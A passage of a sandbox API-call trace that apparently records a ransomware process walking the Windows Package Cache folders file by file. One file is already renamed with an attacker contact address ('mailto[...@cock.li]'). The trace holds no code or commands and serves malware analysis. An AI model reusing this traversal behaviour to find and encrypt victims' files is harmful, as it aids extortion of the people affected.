	[0092.465] wcscpy (in: _Dest=0x4f2d320, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005"
	[0092.465] wcscat (in: _Dest=0x4f2d320, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\"
	[0092.465] wcscat (in: _Dest=0x4f2d320, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages"
	[0092.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4926198
	[0092.465] wcscpy (in: _Dest=0x4926198, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages"
	[0092.465] wcscat (in: _Dest=0x4926198, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\"
	[0092.465] wcscat (in: _Dest=0x4926198, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*"
	[0092.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711da0
	[0092.465] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.465] wcscmp (_String1=".", _String2=".") returned 0
	[0092.465] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.465] wcscmp (_String1="..", _String2=".") returned 1
	[0092.465] wcscmp (_String1="..", _String2="..") returned 0
	[0092.465] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.465] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1
	[0092.465] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1
	[0092.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491d358
	[0092.465] wcscpy (in: _Dest=0x491d358, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages"
	[0092.465] wcscat (in: _Dest=0x491d358, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\"
	[0092.465] wcscat (in: _Dest=0x491d358, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86"
	[0092.466] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491e258
	[0092.466] wcscpy (in: _Dest=0x491e258, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86"
	[0092.466] wcscat (in: _Dest=0x491e258, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\"
	[0092.466] wcscat (in: _Dest=0x491e258, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*"
	[0092.466] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47130e0
	[0092.466] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.466] wcscmp (_String1=".", _String2=".") returned 0
	[0092.466] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.466] wcscmp (_String1="..", _String2=".") returned 1
	[0092.466] wcscmp (_String1="..", _String2="..") returned 0
	[0092.466] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.466] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.466] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.466] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.466] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2=".") returned 1
	[0092.466] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2="..") returned 1
	[0092.466] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.466] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.466] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47130e0) returned 1
	[0092.466] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e258) returned 1
	[0092.466] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d358) returned 1
	[0092.466] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.466] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711da0) returned 1
	[0092.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926198) returned 1
	[0092.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d320) returned 1
	[0092.467] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.467] FindClose (in: hFindFile=0x477b028 | out: hFindFile=0x477b028) returned 1
	[0092.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4712c10) returned 1
	[0092.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481bce8) returned 1
	[0092.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5cbc8) returned 1
	[0092.467] FindNextFileW (in: hFindFile=0x2d87338, lpFindFileData=0x2ddeba8 | out: lpFindFileData=0x2ddeba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf03b3d5, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1
	[0092.467] wcscmp (_String1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", _String2=".") returned 1
	[0092.467] wcscmp (_String1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", _String2="..") returned 1
	[0092.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x90) returned 0x4e30bc8
	[0092.467] wcscpy (in: _Dest=0x4e30bc8, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache"
	[0092.467] wcscat (in: _Dest=0x4e30bc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\"
	[0092.467] wcscat (in: _Dest=0x4e30bc8, _Source="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}"
	[0092.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4895720
	[0092.467] wcscpy (in: _Dest=0x4895720, _Source="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}"
	[0092.467] wcscat (in: _Dest=0x4895720, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\"
	[0092.467] wcscat (in: _Dest=0x4895720, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*"
	[0092.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711198
	[0092.467] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x985a3b98, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x985a3b98, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.467] wcscmp (_String1=".", _String2=".") returned 0
	[0092.467] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x985a3b98, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x985a3b98, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.468] wcscmp (_String1="..", _String2=".") returned 1
	[0092.468] wcscmp (_String1="..", _String2="..") returned 0
	[0092.468] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x354d9570, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x375, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", cAlternateFileName="STATER~1.C3F")) returned 1
	[0092.468] wcscmp (_String1="state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", _String2=".") returned 1
	[0092.468] wcscmp (_String1="state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", _String2="..") returned 1
	[0092.468] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xcef30371, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1
	[0092.468] wcscmp (_String1="vcredist_x86.exe", _String2=".") returned 1
	[0092.468] wcscmp (_String1="vcredist_x86.exe", _String2="..") returned 1
	[0092.468] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xcef30371, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0
	[0092.468] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.468] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711198) returned 1
	[0092.468] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895720) returned 1
	[0092.468] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e30bc8) returned 1
	[0092.468] FindNextFileW (in: hFindFile=0x2d87338, lpFindFileData=0x2ddeba8 | out: lpFindFileData=0x2ddeba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1
	[0092.468] wcscmp (_String1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", _String2=".") returned 1
	[0092.468] wcscmp (_String1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", _String2="..") returned 1
	[0092.468] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d61f20
	[0092.468] wcscpy (in: _Dest=0x2d61f20, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache"
	[0092.468] wcscat (in: _Dest=0x2d61f20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\"
	[0092.468] wcscat (in: _Dest=0x2d61f20, _Source="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030"
	[0092.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481bce8
	[0092.469] wcscpy (in: _Dest=0x481bce8, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030"
	[0092.469] wcscat (in: _Dest=0x481bce8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\"
	[0092.469] wcscat (in: _Dest=0x481bce8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*"
	[0092.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710328
	[0092.469] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.469] wcscmp (_String1=".", _String2=".") returned 0
	[0092.469] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.469] wcscmp (_String1="..", _String2=".") returned 1
	[0092.469] wcscmp (_String1="..", _String2="..") returned 0
	[0092.469] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0092.469] wcscmp (_String1="packages", _String2=".") returned 1
	[0092.469] wcscmp (_String1="packages", _String2="..") returned 1
	[0092.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2c360
	[0092.469] wcscpy (in: _Dest=0x4f2c360, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030"
	[0092.469] wcscat (in: _Dest=0x4f2c360, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\"
	[0092.469] wcscat (in: _Dest=0x4f2c360, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages"
	[0092.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4926710
	[0092.469] wcscpy (in: _Dest=0x4926710, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages"
	[0092.469] wcscat (in: _Dest=0x4926710, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\"
	[0092.469] wcscat (in: _Dest=0x4926710, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*"
	[0092.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47130e0
